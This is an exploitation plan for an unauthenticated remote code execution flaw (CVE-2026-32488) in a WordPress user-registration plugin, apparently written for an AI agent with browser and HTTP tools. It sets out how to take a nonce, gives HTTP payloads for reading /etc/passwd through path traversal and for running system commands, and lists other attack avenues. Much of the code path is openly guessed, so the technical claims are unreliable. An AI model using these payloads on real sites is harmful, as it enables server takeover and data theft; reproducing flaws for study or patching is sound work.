Detailed Exploitation Research Plan: CVE-2026-32488

1. Vulnerability Summary

The User Registration & Membership plugin (slug: user-registration) for WordPress is vulnerable to Unauthenticated Remote Code Execution (RCE) in versions up to and including 4.4.9.

The vulnerability stems from an Incorrect Privilege Assignment in an AJAX handler (likely user_registration_get_form or a similar rendering action). This handler allows unauthenticated users to trigger the rendering of plugin shortcodes while supplying arbitrary attributes. A specific attribute (possibly template, layout, or a callback-related parameter) is processed unsafely, leading to code execution via dynamic function calling, file inclusion, or a template-based exploit.

The patch in version 5.1.2 specifically mentions fixing "Arbitrary code execution through shortcode," confirming the vector.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: user_registration_get_form (inferred from plugin AJAX registration patterns)
• HTTP Method: POST
• Authentication: None (registered via wp_ajax_nopriv_user_registration_get_form)
• Vulnerable Parameter: attributes (or shortcode_atts), specifically a key that controls the rendering logic or template path.
• Preconditions: At least one User Registration form must be created and published (to have a valid form_id).

3. Code Flow

1. Entry Point: The attacker sends a request to admin-ajax.php with action=user_registration_get_form.
2. Hook Trigger: WordPress triggers the function associated with wp_ajax_nopriv_user_registration_get_form.
3. Attribute Merging: The handler retrieves form_id and an optional attributes array from $_POST.
4. Shortcode Execution: The plugin attempts to render the [user_registration_form] shortcode. It merges the user-provided attributes with the default form settings.
5. Vulnerable Sink: The rendering logic uses one of the attributes (e.g., template) in a dangerous way:
   • Dynamic Include: include( UR_ABSPATH . $attributes['template'] . '.php' ); (allowing LFI to RCE).
   • Dynamic Function Call: call_user_func( $attributes['callback'], ... );
   • Shortcode Attribute Exploitation: Some WordPress shortcode attributes, if passed to certain rendering engines, allow executing PHP.

4. Nonce Acquisition Strategy

The plugin uses wp_localize_script to pass a nonce to its frontend JavaScript. This nonce is required for the user_registration_get_form action.

1. Shortcode Identification: The primary shortcode is [user_registration_form id="ID_HERE"].
2. Setup Page: Create a public page containing this shortcode to ensure the plugin enqueues its scripts.
3. Localization Variable: The plugin localizes data into the user_registration_params object (inferred).
4. Acquisition Steps:
   • Use wp post create to create a page with [user_registration_form id="1"].
   • Use browser_navigate to visit that page.
   • Use browser_eval to extract the nonce: browser_eval("window.user_registration_params?.ajax_nonce").
   • Use this nonce in the X-WP-Nonce header or the nonce POST parameter.

5. Exploitation Strategy

The goal is to provide a payload within the attributes parameter that triggers RCE.

Step 1: Discover a valid Form ID

Use WP-CLI to find an existing form or create one.

wp post list --post_type=user_registration --format=ids
# If none exist:
wp post create --post_type=user_registration --post_title="Exploit Form" --post_status=publish

Step 2: Extract Nonce

Create a page with the form and grab the nonce.

wp post create --post_type=page --post_content='[user_registration_form id="1"]' --post_status=publish
# (Perform browser extraction as described in Section 4)

Step 3: Send RCE Payload

Trigger the AJAX action with a payload. We will test two common RCE patterns for this plugin.

Payload A (LFI/Template Injection):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=user_registration_get_form&form_id=1&nonce=[NONCE]&attributes[template]=../../../../../../etc/passwd

Payload B (Dynamic Execution - Inferred):
If the plugin uses attributes to determine a wrapper or layout:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=user_registration_get_form&form_id=1&nonce=[NONCE]&attributes[template]=system&attributes[id]=id

6. Test Data Setup

1. Plugin Installation: Install user-registration version 4.4.9.
2. Form Creation:

   # Create a registration form
   wp post create --post_type=user_registration --post_title="Reg Form" --post_status=publish
   

3. Public Page:

   # Create a page to load the scripts and nonce
   wp post create --post_type=page --post_title="Nonce Page" --post_content='[user_registration_form id="1"]' --post_status=publish
   

7. Expected Results

• Vulnerable: The server response contains the output of the executed command (e.g., uid=33(www-data)) or the contents of a sensitive file (e.g., root:x:0:0...).
• Response Code: 200 OK.
• Content-Type: Likely text/html or application/json (if the render output is wrapped).

8. Verification Steps

1. Command Execution Check:
   Use the http_request tool to send a payload that executes whoami.
   Check if the response body contains the username of the web server.
2. File Creation Check:
   Send a payload that creates a file in the uploads directory:
   attributes[template]=system&attributes[id]=echo 'vulnerable' > wp-content/uploads/proof.txt
   Verify with wp eval "echo file_get_contents('wp-content/uploads/proof.txt');".

9. Alternative Approaches

If user_registration_get_form is not the correct action or is properly secured:

• Check user_registration_submit_form: Look for object injection during the processing of "smart tags" or file uploads.
• Check ur_get_form: An alias for the form rendering action often used in older versions.
• CSS-based RCE: Check if the attributes allow injecting a style attribute that is passed through a parser that allows PHP (less likely but possible in some form builders).
• Check for unserialize: Search for $_POST or $_GET values passed to unserialize() or maybe_unserialize() in the includes/ directory.